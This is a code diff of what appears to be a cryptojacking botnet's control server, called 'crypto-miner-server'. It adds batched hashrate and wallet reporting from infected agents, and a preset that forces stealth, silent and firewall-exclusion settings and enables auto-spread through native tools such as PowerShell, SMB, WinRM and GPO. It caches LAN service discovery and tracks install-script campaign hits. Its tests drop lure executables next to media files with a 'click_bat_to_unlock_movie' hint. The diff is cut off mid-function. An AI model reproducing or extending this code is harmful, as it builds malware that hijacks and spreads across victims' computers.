-1200,6 +1349,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { // Notify any handler waiting for this specific agent+action result. if action, _ := payload["action"].(string); action != "" { h.notifyCmdCallback(agentID, action, payload) + if action == "service_discover" { + if ok, _ := payload["success"].(bool); ok { + if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" { + h.cacheServiceDiscover(agentID, msg) + } + } + } if action == "full_sys_check" { if ok, _ := payload["success"].(bool); ok { if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil { @@ -1328,6 +1484,70 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { } } +const statsBatchInterval = 250 * time.Millisecond + +// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the +// same 250ms window both land in one stats_batch update for dashboards. +func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage { + var base, patch map[string]interface{} + if json.Unmarshal(existing, &base) != nil || base == nil { + base = map[string]interface{}{} + } + if json.Unmarshal(incoming, &patch) != nil || patch == nil { + return existing + } + for k, v := range patch { + base[k] = v + } + return mustMarshal(base) +} + +// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch +// message per interval instead of N individual stats_update frames. +func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) { + agentID, _ := payload["agent_id"].(string) + if agentID == "" { + return + } + data := mustMarshal(payload) + + h.statsBatchMu.Lock() + if h.statsBatch == nil { + h.statsBatch = make(map[string]json.RawMessage) + } + if prev, ok := h.statsBatch[agentID]; ok { + data = mergeStatsPayload(prev, data) + } + h.statsBatch[agentID] = data + if h.statsBatchTimer == nil { + h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch) + } + h.statsBatchMu.Unlock() +} + +func (h *WSHub) flushStatsBatch() { + h.statsBatchMu.Lock() + batch := h.statsBatch + h.statsBatch = nil + if h.statsBatchTimer != nil { + h.statsBatchTimer.Stop() + h.statsBatchTimer = nil + } + h.statsBatchMu.Unlock() + + if len(batch) == 0 { + return + } + updates := make([]json.RawMessage, 0, len(batch)) + for _, raw := range batch { + updates = append(updates, raw) + } + h.broadcastDashboard(Message{ + Type: "stats_batch", + Payload: mustMarshal(map[string]interface{}{"updates": updates}), + }) +} + func (h *WSHub) broadcastDashboard(msg Message) { h.mu.RLock() defer h.mu.RUnlock() @@ -1557,6 +1777,79 @@ func (h *WSHub) GetAgentLog(agentID string) string { return h.agentLogs[agentID] } +type cachedServiceDiscover struct { + Local ServiceGraphHost + LANHosts []ServiceGraphHost +} + +func (h *WSHub) cacheServiceDiscover(agentID, message string) { + var payload struct { + Local ServiceGraphHost `json:"local"` + LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"` + } + if err := json.Unmarshal([]byte(message), &payload); err != nil { + return + } + h.mu.Lock() + h.agentServiceDiscover[agentID] = cachedServiceDiscover{ + Local: payload.Local, + LANHosts: payload.LANHosts, + } + h.mu.Unlock() +} + +func subnetLabelMatches(hostSubnet, query string) bool { + hostSubnet = strings.TrimSpace(hostSubnet) + query = strings.TrimSpace(query) + if query == "" { + return true + } + query = strings.TrimSuffix(query, ".x") + hostSubnet = strings.TrimSuffix(hostSubnet, ".x") + return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".") +} + +// QueryServiceGraph returns deduped service entries from cached service_discover runs. +func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry { + h.mu.RLock() + defer h.mu.RUnlock() + + seen := make(map[string]bool) + var out []ServiceGraphEntry + add := func(entries []ServiceGraphEntry) { + for _, e := range entries { + key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port) + if seen[key] { + continue + } + seen[key] = true + out = append(out, e) + } + } + + collect := func(cached cachedServiceDiscover) { + if subnetLabelMatches(cached.Local.Subnet, subnet) { + add(cached.Local.Services) + } + for _, host := range cached.LANHosts { + if subnetLabelMatches(host.Subnet, subnet) { + add(host.Services) + } + } + } + + if agentID != "" { + if cached, ok := h.agentServiceDiscover[agentID]; ok { + collect(cached) + } + return out + } + for _, cached := range h.agentServiceDiscover { + collect(cached) + } + return out +} + func (h *WSHub) BroadcastFleetAlert(ev interface{}) { h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)}) } @@ -1618,12 +1911,15 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) { }) } +// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests). +var warRoomBroadcastInterval = 30 * time.Second + // runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s. func (h *WSHub) runWarRoomBroadcast() { if h.db == nil { return } - ticker := time.NewTicker(30 * time.Second) + ticker := time.NewTicker(warRoomBroadcastInterval) defer ticker.Stop() for range ticker.C { data, err := h.db.ListWarRoom(7) diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go index 2426cef..6c8c1fe 100644 --- a/server/internal/api/websocket_test.go +++ b/server/internal/api/websocket_test.go @@ -3,6 +3,7 @@ package api import ( "encoding/base64" "encoding/json" + "fmt" "net/http" "net/http/httptest" "strings" @@ -599,3 +600,379 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) { t.Errorf("default name should follow hostname update; got %q", agent.Name) } } + +// TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback +// from agents are batched into a single stats_batch frame for dashboards. +func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) { + resetWSAuthUsers(t, testAuthUser, testAuthPass) + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + + dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS)) + t.Cleanup(dashSrv.Close) + dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) + dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil) + if err != nil { + t.Fatalf("dial dashboard: %v", err) + } + t.Cleanup(func() { _ = dashConn.Close() }) + + type batchResult struct { + updates []map[string]interface{} + err string + } + batchCh := make(chan batchResult, 1) + go func() { + _ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second)) + for { + var msg Message + if err := dashConn.ReadJSON(&msg); err != nil { + batchCh <- batchResult{err: err.Error()} + return + } + if msg.Type != "stats_batch" { + continue + } + var body struct { + Updates []json.RawMessage `json:"updates"` + } + if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil { + batchCh <- batchResult{err: parseErr.Error()} + return + } + updates := make([]map[string]interface{}, 0, len(body.Updates)) + for _, raw := range body.Updates { + var u map[string]interface{} + if json.Unmarshal(raw, &u) != nil { + continue + } + updates = append(updates, u) + } + batchCh <- batchResult{updates: updates} + return + } + }() + + agentA := "mining-agent-a" + agentB := "mining-agent-b" + connA := connectTestAgent(t, hub, agentA) + connB := connectTestAgent(t, hub, agentB) + + payloadA, _ := json.Marshal(map[string]interface{}{ + "active_method": "inprocess", + "hashrate_15s": 150.0, + "mining_hashrate": 150.0, + "lotl_tier": "cpu_inprocess", + "lotl_attempts": []map[string]interface{}{ + {"tier": "container", "ok": false, "error": "blocked", "duration_ms": 400}, + {"tier": "cpu_inprocess", "ok": true, "duration_ms": 900, "wallet": "xmr"}, + }, + }) + payloadB, _ := json.Marshal(map[string]interface{}{ + "active_method": "container", + "chain_exhausted": false, + "hashrate_15s": 200.0, + }) + if err := connA.WriteJSON(Message{Type: "mining_status", Payload: payloadA}); err != nil { + t.Fatal(err) + } + if err := connB.WriteJSON(Message{Type: "mining_fallback", Payload: payloadB}); err != nil { + t.Fatal(err) + } + + select { + case r := <-batchCh: + if r.err != "" { + t.Fatalf("dashboard did not receive stats_batch: %s", r.err) + } + if len(r.updates) != 2 { + t.Fatalf("expected 2 coalesced updates, got %d: %+v", len(r.updates), r.updates) + } + byAgent := map[string]map[string]interface{}{} + for _, u := range r.updates { + id, _ := u["agent_id"].(string) + if id == "" { + t.Fatalf("update missing agent_id: %+v", u) + } + byAgent[id] = u + } + if byAgent[agentA]["active_method"] != "inprocess" { + t.Errorf("agent A active_method = %v", byAgent[agentA]["active_method"]) + } + if byAgent[agentA]["mining_hashrate"] != 150.0 { + t.Errorf("agent A mining_hashrate = %v", byAgent[agentA]["mining_hashrate"]) + } + if byAgent[agentA]["lotl_tier"] != "cpu_inprocess" { + t.Errorf("agent A lotl_tier = %v", byAgent[agentA]["lotl_tier"]) + } + attempts, ok := byAgent[agentA]["lotl_attempts"].([]interface{}) + if !ok || len(attempts) != 2 { + t.Errorf("agent A lotl_attempts = %T %v", byAgent[agentA]["lotl_attempts"], byAgent[agentA]["lotl_attempts"]) + } + if byAgent[agentB]["active_method"] != "container" { + t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"]) + } + case <-time.After(2 * time.Second): + t.Fatal("timed out waiting for stats_batch relay") + } +} + +func TestStatsBatchCoalescesSameAgent(t *testing.T) { + hub := NewWSHub(nil) + hub.queueStatsBroadcast(map[string]interface{}{ + "agent_id": "a1", "hashrate_15s": 10.0, + }) + hub.queueStatsBroadcast(map[string]interface{}{ + "agent_id": "a1", "hashrate_15s": 99.0, "active_method": "inprocess", + }) + hub.flushStatsBatch() + + // Merged coalesce — later keys overwrite, earlier keys preserved. + hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 10.0, "lotl_tier": "cpu_inprocess"}) + hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "mining_hashrate": 850.0}) + hub.statsBatchMu.Lock() + if len(hub.statsBatch) != 1 { + t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch)) + } + var merged map[string]interface{} + if err := json.Unmarshal(hub.statsBatch["a1"], &merged); err != nil { + t.Fatal(err) + } + hub.statsBatchMu.Unlock() + if merged["hashrate_15s"] != 10.0 { + t.Fatalf("expected preserved hashrate_15s, got %v", merged["hashrate_15s"]) + } + if merged["lotl_tier"] != "cpu_inprocess" { + t.Fatalf("expected lotl_tier preserved, got %v", merged["lotl_tier"]) + } + if merged["mining_hashrate"] != 850.0 { + t.Fatalf("expected mining_hashrate merged, got %v", merged["mining_hashrate"]) + } + + hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 1.0}) + hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 2.0}) + hub.statsBatchMu.Lock() + if len(hub.statsBatch) != 1 { + t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch)) + } + var last map[string]interface{} + if err := json.Unmarshal(hub.statsBatch["a1"], &last); err != nil { + t.Fatal(err) + } + hub.statsBatchMu.Unlock() + if last["hashrate_15s"] != 2.0 { + t.Fatalf("latest update should win coalesce, got %v", last["hashrate_15s"]) + } +} + +func TestStatsBatchCoalescesLotlAttempts(t *testing.T) { + hub := NewWSHub(nil) + hub.queueStatsBroadcast(map[string]interface{}{ + "agent_id": "a2", + "lotl_tier": "container", + "lotl_attempts": []map[string]interface{}{ + {"tier": "wsl", "ok": false, "error": "no distro", "duration_ms": 500}, + {"tier": "container", "ok": true, "duration_ms": 800, "wallet": "xmr"}, + }, + }) + hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a2", "mining_hashrate": 1200.0}) + hub.statsBatchMu.Lock() + var merged map[string]interface{} + if err := json.Unmarshal(hub.statsBatch["a2"], &merged); err != nil { + t.Fatal(err) + } + hub.statsBatchMu.Unlock() + if merged["lotl_tier"] != "container" { + t.Fatalf("lotl_tier = %v", merged["lotl_tier"]) + } + attempts, ok := merged["lotl_attempts"].([]interface{}) + if !ok || len(attempts) != 2 { + t.Fatalf("lotl_attempts = %T %v", merged["lotl_attempts"], merged["lotl_attempts"]) + } + if merged["mining_hashrate"] != 1200.0 { + t.Fatalf("mining_hashrate = %v", merged["mining_hashrate"]) + } +} + +func TestRunWarRoomBroadcastPushesFrame(t *testing.T) { + resetWSAuthUsers(t, testAuthUser, testAuthPass) + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + if err := database.LogCampaignEvent("wave-test", "b1", db.CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil { + t.Fatal(err) + } + + prev := warRoomBroadcastInterval + warRoomBroadcastInterval = 25 * time.Millisecond + t.Cleanup(func() { warRoomBroadcastInterval = prev }) + + hub := NewWSHub(database) + + dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS)) + t.Cleanup(dashSrv.Close) + dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) + dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil) + if err != nil { + t.Fatalf("dial dashboard: %v", err) + } + t.Cleanup(func() { _ = dashConn.Close() }) + + type warRoomResult struct { + body map[string]interface{} + err string + } + warCh := make(chan warRoomResult, 1) + go func() { + _ = dashConn.SetReadDeadline(time.Now().Add(3 * time.Second)) + for { + var msg Message + if err := dashConn.ReadJSON(&msg); err != nil { + warCh <- warRoomResult{err: err.Error()} + return + } + if msg.Type != "emberwake_war_room" { + continue + } + var body map[string]interface{} + if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil { + warCh <- warRoomResult{err: "parse: " + parseErr.Error()} + return + } + warCh <- warRoomResult{body: body} + return + } + }() + + select { + case r := <-warCh: + if r.err != "" { + t.Fatalf("dashboard did not receive emberwake_war_room: %s", r.err) + } + if days, ok := r.body["days"].(float64); !ok || days != 7 { + t.Errorf("days: got %v, want 7", r.body["days"]) + } + campaigns, _ := r.body["campaigns"].([]interface{}) + if len(campaigns) != 1 { + t.Fatalf("expected 1 campaign in war room payload, got %d: %+v", len(campaigns), r.body) + } + c0, _ := campaigns[0].(map[string]interface{}) + if c0["campaign"] != "wave-test" { + t.Errorf("campaign: got %v, want wave-test", c0["campaign"]) + } + if hits, _ := c0["hits"].(float64); hits != 1 { + t.Errorf("hits: got %v, want 1", c0["hits"]) + } + case <-time.After(2 * time.Second): + t.Fatal("timed out waiting for emberwake_war_room broadcast") + } +} + +// TestStatsBatchCoalescesManyAgents verifies 500 distinct agent_id stats updates +// queued within one 250ms flush window produce a single stats_batch frame. +func TestStatsBatchCoalescesManyAgents(t *testing.T) { + resetWSAuthUsers(t, testAuthUser, testAuthPass) + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + + dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS)) + t.Cleanup(dashSrv.Close) + dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) + dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil) + if err != nil { + t.Fatalf("dial dashboard: %v", err) + } + t.Cleanup(func() { _ = dashConn.Close() }) + + type batchResult struct { + updates []map[string]interface{} + err string + } + batchCh := make(chan batchResult, 2) + go func() { + _ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second)) + for { + var msg Message + if err := dashConn.ReadJSON(&msg); err != nil { + batchCh <- batchResult{err: err.Error()} + return + } + if msg.Type != "stats_batch" { + continue + } + var body struct { + Updates []json.RawMessage `json:"updates"` + } + if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil { + batchCh <- batchResult{err: parseErr.Error()} + return + } + updates := make([]map[string]interface{}, 0, len(body.Updates)) + for _, raw := range body.Updates { + var u map[string]interface{} + if json.Unmarshal(raw, &u) != nil { + continue + } + updates = append(updates, u) + } + batchCh <- batchResult{updates: updates} + } + }() + + const agentCount = 500 + for i := 0; i < agentCount; i++ { + hub.queueStatsBroadcast(map[string]interface{}{ + "agent_id": fmt.Sprintf("scale-agent-%d", i), + "hashrate_15s": float64(i), + }) + } + + var first batchResult + select { + case first = <-batchCh: + if first.err != "" { + t.Fatalf("dashboard did not receive stats_batch: %s", first.err) + } + case <-time.After(2 * time.Second): + t.Fatal("timed out waiting for stats_batch relay") + } + + if len(first.updates) != agentCount { + t.Fatalf("expected %d coalesced updates in one frame, got %d", agentCount, len(first.updates)) + } + + seen := make(map[string]struct{}, agentCount) + for _, u := range first.updates { + id, _ := u["agent_id"].(string) + if id == "" { + t.Fatalf("update missing agent_id: %+v", u) + } + if _, dup := seen[id]; dup { + t.Fatalf("duplicate agent_id in batch: %q", id) + } + seen[id] = struct{}{} + } + if len(seen) != agentCount { + t.Fatalf("expected %d distinct agent_ids, got %d", agentCount, len(seen)) + } + + select { + case second := <-batchCh: + if second.err == "" { + t.Fatalf("expected single stats_batch frame, got second with %d updates", len(second.updates)) + } + case <-time.After(400 * time.Millisecond): + // no second batch within coalesce window — good + } +} diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index d28158c..cf19117 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -34,6 +34,7 @@ type BuildRequest struct { ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MiningMode string `json:"mining_mode"` + MinerExecution string `json:"miner_execution"` DisplayMode string `json:"display_mode"` SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` @@ -110,6 +111,11 @@ type BuildRequest struct { AgentKillAfterDays int `json:"agent_kill_after_days"` HTTPSBeaconFallback bool `json:"https_beacon_fallback"` HTTPSBeaconAfterMin int `json:"https_beacon_after_min"` + + // LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset). + LotlOnionEnabled bool `json:"lotl_onion_enabled"` + LotlPolicyFromServer bool `json:"lotl_policy_from_server"` + LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` } // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable. @@ -300,6 +306,13 @@ func (h *Handler) SetBuildPolicy(p BuildPolicy) { h.policy = p } +// SetGoBinPath overrides the go toolchain binary used for forge compiles. +func (h *Handler) SetGoBinPath(path string) { + if strings.TrimSpace(path) != "" { + h.goBinPath = path + } +} + func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler { goBin := "go" if _, err := exec.LookPath("go"); err == nil { @@ -973,6 +986,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.MiningMode == "" { req.MiningMode = "always" } + if req.MinerExecution == "" { + req.MinerExecution = "inprocess" + } if req.RunAs == "" { req.RunAs = "user" } @@ -1060,6 +1076,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { req.Persistence = true req.AutoStart = true } + if req.LotlOnionEnabled { + ApplyLotlOnionPreset(req) + } return nil } @@ -1138,7 +1157,8 @@ func GetBuiltinConfig() BuiltinConfig { ThreadMode: %q, ThreadPercent: %d, CPUPriority: %q, - MiningMode: %q, + MiningMode: %q, + MinerExecution: %q, DisplayMode: %q, SilentMode: %v, RunAs: %q, @@ -1203,6 +1223,10 @@ func GetBuiltinConfig() BuiltinConfig { AgentKillAfterDays: %d, HTTPSBeaconFallback: %v, HTTPSBeaconAfterMin: %d, + + LotlOnionEnabled: %v, + LotlPolicyFromServer: %v, + LotlOnionTiers: %s, } } `, buildID, time.Now().UTC().Format(time.RFC3339), @@ -1214,6 +1238,7 @@ func GetBuiltinConfig() BuiltinConfig { req.ThreadPercent, req.CPUPriority, req.MiningMode, + req.MinerExecution, req.DisplayMode, req.SilentMode, req.RunAs, @@ -1275,6 +1300,9 @@ func GetBuiltinConfig() BuiltinConfig { req.AgentKillAfterDays, httpsBeaconFallbackEnabled(req), httpsBeaconAfterMin(req), + req.LotlOnionEnabled, + req.LotlPolicyFromServer, + formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)), ) } diff --git a/server/internal/builder/lotl_onion.go b/server/internal/builder/lotl_onion.go new file mode 100644 index 0000000..a05690d --- /dev/null +++ b/server/internal/builder/lotl_onion.go @@ -0,0 +1,79 @@ +package builder + +import "strings" + +// DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync. +var DefaultLotlOnionTiers = []string{ + "docker", + "wsl", + "powershell", + "dotnet", + "bits_curl", + "smb", + "winrm", + "linux", + "gpo", +} + +// NormalizeLotlOnionTiers filters tier ids for forge + server config. +func NormalizeLotlOnionTiers(raw []string) []string { + allowed := map[string]struct{}{ + "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, + "bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, + } + out := make([]string, 0, len(raw)) + for _, t := range raw { + t = strings.ToLower(strings.TrimSpace(t)) + if t == "bits/curl" { + t = "bits_curl" + } + if _, ok := allowed[t]; ok { + out = append(out, t) + } + } + if len(out) == 0 { + dup := make([]string, len(DefaultLotlOnionTiers)) + copy(dup, DefaultLotlOnionTiers) + return dup + } + return out +} + +// ApplyLotlOnionPreset enforces AV-Safe-adjacent mining + LOTL spread chain defaults. +func ApplyLotlOnionPreset(req *BuildRequest) { + req.LotlOnionEnabled = true + req.GPUEnabled = false + req.MinerExecution = "inprocess" + req.ProcessHollowing = false + req.SpreadKit = false + req.FusionEnabled = false + req.Obfuscate = false + if !req.AutoSpread { + req.AutoSpread = true + } + if !req.ShareSpread { + req.ShareSpread = true + } + req.USBSpread = false + req.RemoteAggressive = false + if req.LotlPolicyFromServer || len(req.LotlOnionTiers) == 0 { + req.LotlPolicyFromServer = true + } + req.LotlOnionTiers = NormalizeLotlOnionTiers(req.LotlOnionTiers) + if req.MiningMode == "" || req.MiningMode == "always" { + req.MiningMode = "idle" + } + if req.MaxCPUUsagePct <= 0 || req.MaxCPUUsagePct > 50 { + req.MaxCPUUsagePct = 50 + } + if req.ThreadPercent <= 0 || req.ThreadPercent > 50 { + req.ThreadPercent = 50 + } + req.StealthMode = true + if req.DisplayMode == "" || req.DisplayMode == "visible" { + req.DisplayMode = "background" + } + req.SilentMode = true + req.FileLogging = true + req.FirewallExclusion = true +} diff --git a/server/internal/builder/lotl_onion_test.go b/server/internal/builder/lotl_onion_test.go new file mode 100644 index 0000000..e5b441e --- /dev/null +++ b/server/internal/builder/lotl_onion_test.go @@ -0,0 +1,47 @@ +package builder + +import "testing" + +func TestNormalizeLotlOnionTiers(t *testing.T) { + got := NormalizeLotlOnionTiers(nil) + if len(got) != 9 || got[0] != "docker" || got[8] != "gpo" { + t.Fatalf("defaults: %v", got) + } +} + +func TestApplyLotlOnionPreset(t *testing.T) { + req := &BuildRequest{ + WorkerName: "pc", + ServerURL: "http://127.0.0.1:8989", + Wallet: "48abc", + } + ApplyLotlOnionPreset(req) + if !req.LotlOnionEnabled || !req.LotlPolicyFromServer { + t.Fatal("lotl flags") + } + if req.MinerExecution != "inprocess" || req.GPUEnabled { + t.Fatal("expected AV-Safe mining profile") + } + if !req.AutoSpread || !req.ShareSpread || req.SpreadKit { + t.Fatal("spread profile") + } + if len(req.LotlOnionTiers) != 9 { + t.Fatalf("tiers: %v", req.LotlOnionTiers) + } +} + +func TestNormalizeRequestLotlOnion(t *testing.T) { + h := &Handler{} + req := &BuildRequest{ + WorkerName: "pc", + ServerURL: "http://127.0.0.1:8989", + Wallet: "48abc", + LotlOnionEnabled: true, + } + if err := h.normalizeRequest(req); err != nil { + t.Fatal(err) + } + if req.MinerExecution != "inprocess" || !req.LotlPolicyFromServer { + t.Fatalf("lotl normalize: exec=%q policy=%v", req.MinerExecution, req.LotlPolicyFromServer) + } +} diff --git a/server/internal/builder/pathforge_test.go b/server/internal/builder/pathforge_test.go index 6f739dd..00932cb 100644 --- a/server/internal/builder/pathforge_test.go +++ b/server/internal/builder/pathforge_test.go @@ -10,6 +10,7 @@ import ( "path/filepath" "runtime" "strings" + "sync" "testing" ) @@ -217,3 +218,172 @@ func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) { t.Error("original file was unexpectedly renamed to .locked when lock_original=false") } } + +// TestPathForgeRootPathOutsideAllowedRoots verifies BLD-D1: root_path must not +// contain traversal sequences and must resolve under home, temp, or server dataDir. +func TestPathForgeRootPathOutsideAllowedRoots(t *testing.T) { + h := NewPathForgeHandler(t.TempDir()) + + cases := []struct { + name string + rootPath string + skipUnless func() bool + wantSubstr string + }{ + { + name: "traversal_dotdot", + rootPath: "../../../windows", + wantSubstr: "path traversal", + }, + { + name: "unix_system_path", + rootPath: "/etc", + skipUnless: func() bool { return runtime.GOOS != "windows" }, + wantSubstr: "outside allowed directories", + }, + { + name: "windows_system_path", + rootPath: `C:\Windows\System32`, + skipUnless: func() bool { return runtime.GOOS == "windows" }, + wantSubstr: "outside allowed directories", + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if tc.skipUnless != nil && !tc.skipUnless() { + t.Skip("not applicable on this platform") + } + + escaped := strings.ReplaceAll(tc.rootPath, `\`, `\\`) + body := `{"root_path":"` + escaped + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` + req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + + if rec.Code != http.StatusBadRequest { + t.Fatalf("status %d, want 400; body=%s", rec.Code, rec.Body.String()) + } + respBody := rec.Body.String() + if !strings.Contains(respBody, "root_path rejected") { + t.Errorf("expected root_path rejected in body, got %q", respBody) + } + if tc.wantSubstr != "" && !strings.Contains(respBody, tc.wantSubstr) { + t.Errorf("expected %q in body, got %q", tc.wantSubstr, respBody) + } + + // Validation rejects before any walk/placement; Placed must stay 0. + var res PathForgeResult + if err := json.NewDecoder(strings.NewReader(respBody)).Decode(&res); err == nil && res.Placed != 0 { + t.Errorf("Placed=%d, want 0", res.Placed) + } + }) + } +} + +// TestPathForgeSkippedCountNonMediaExtensions verifies that files outside the +// requested extension set increment Skipped while matching extensions are placed. +// With extensions=[".jpg"] only: .mkv and .txt are skipped, .jpg is placed. +func TestPathForgeSkippedCountNonMediaExtensions(t *testing.T) { + root := t.TempDir() + for name, content := range map[string]string{ + "clip.mkv": "video", + "readme.txt": "notes", + "photo.jpg": "image", + } { + if err := os.WriteFile(filepath.Join(root, name), []byte(content), 0644); err != nil { + t.Fatal(err) + } + } + + body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","extensions":[".jpg"]}` + + h := NewPathForgeHandler(t.TempDir()) + req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + + if rec.Code != http.StatusOK { + t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) + } + var res PathForgeResult + if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { + t.Fatal(err) + } + if res.Skipped != 2 { + t.Errorf("skipped: got %d, want 2 (.mkv + .txt)", res.Skipped) + } + if res.Total != 1 { + t.Errorf("total: got %d, want 1 (.jpg only)", res.Total) + } + if res.Placed < 1 { + t.Errorf("placed: got %d, want at least 1 for .jpg", res.Placed) + } + if res.Errors != 0 { + t.Errorf("errors: got %d, want 0; %v", res.Errors, res.ErrorList) + } + if len(res.Results) != 1 || res.Results[0].Source != "photo.jpg" { + t.Errorf("results: want single photo.jpg entry, got %+v", res.Results) + } + if _, err := os.Stat(filepath.Join(root, "photo.command")); err != nil { + t.Errorf("photo.command missing: %v", err) + } +} + +// TestPathForgeConcurrentPlacements verifies two overlapping POSTs against the +// same root_path complete without hang or panic and leave companions on disk. +func TestPathForgeConcurrentPlacements(t *testing.T) { + root := t.TempDir() + mediaPath := filepath.Join(root, "film.mkv") + if err := os.WriteFile(mediaPath, []byte("video"), 0644); err != nil { + t.Fatal(err) + } + + body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` + + h := NewPathForgeHandler(t.TempDir()) + const n = 2 + var wg sync.WaitGroup + wg.Add(n) + + type outcome struct { + code int + res PathForgeResult + } + outcomes := make([]outcome, n) + + for i := 0; i < n; i++ { + i := i + go func() { + defer wg.Done() + req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + outcomes[i].code = rec.Code + if err := json.NewDecoder(rec.Body).Decode(&outcomes[i].res); err != nil { + t.Errorf("goroutine %d decode: %v", i, err) + } + }() + } + wg.Wait() + + for i, o := range outcomes { + if o.code != http.StatusOK { + t.Errorf("goroutine %d: status %d", i, o.code) + } + if o.res.Total != 1 { + t.Errorf("goroutine %d: total %d, want 1", i, o.res.Total) + } + if o.res.Placed < 1 { + t.Errorf("goroutine %d: placed %d, want at least 1", i, o.res.Placed) + } + } + if _, err := os.Stat(filepath.Join(root, "film.command")); err != nil { + t.Errorf("film.command missing after concurrent placements: %v", err) + } + if _, err := os.Stat(filepath.Join(root, "click_bat_to_unlock_movie")); err != nil { + t.Errorf("hint file missing after concurrent placements: %v", err) + } +} diff --git a/server/internal/db/agents_list.go b/server/internal/db/agents_list.go new file mode 100644 index 0000000..2934192 --- /dev/null +++ b/server/internal/db/agents_list.go @@ -0,0 +1,85 @@ +package db + +import ( + "fmt" + "strings" + + "crypto-miner-server/internal/models" +) + +// AgentListFilter holds optional filters for paginated agent queries. +type AgentListFilter struct { + Limit int // 0 = no limit (return all matching rows) + Offset int + Status string // "online", "offline", or "" for any + Subnet string // e.g. "10.0.0.x" — matched against agents.ip prefix +} + +// subnetToIPPrefix converts UI subnet labels to SQL LIKE patterns. +func subnetToIPPrefix(subnet string) string { + subnet = strings.TrimSpace(subnet) + if subnet == "" { + return "" + } + if strings.HasSuffix(subnet, ".x") { + return strings.TrimSuffix(subnet, ".x") + ".%" + } + if 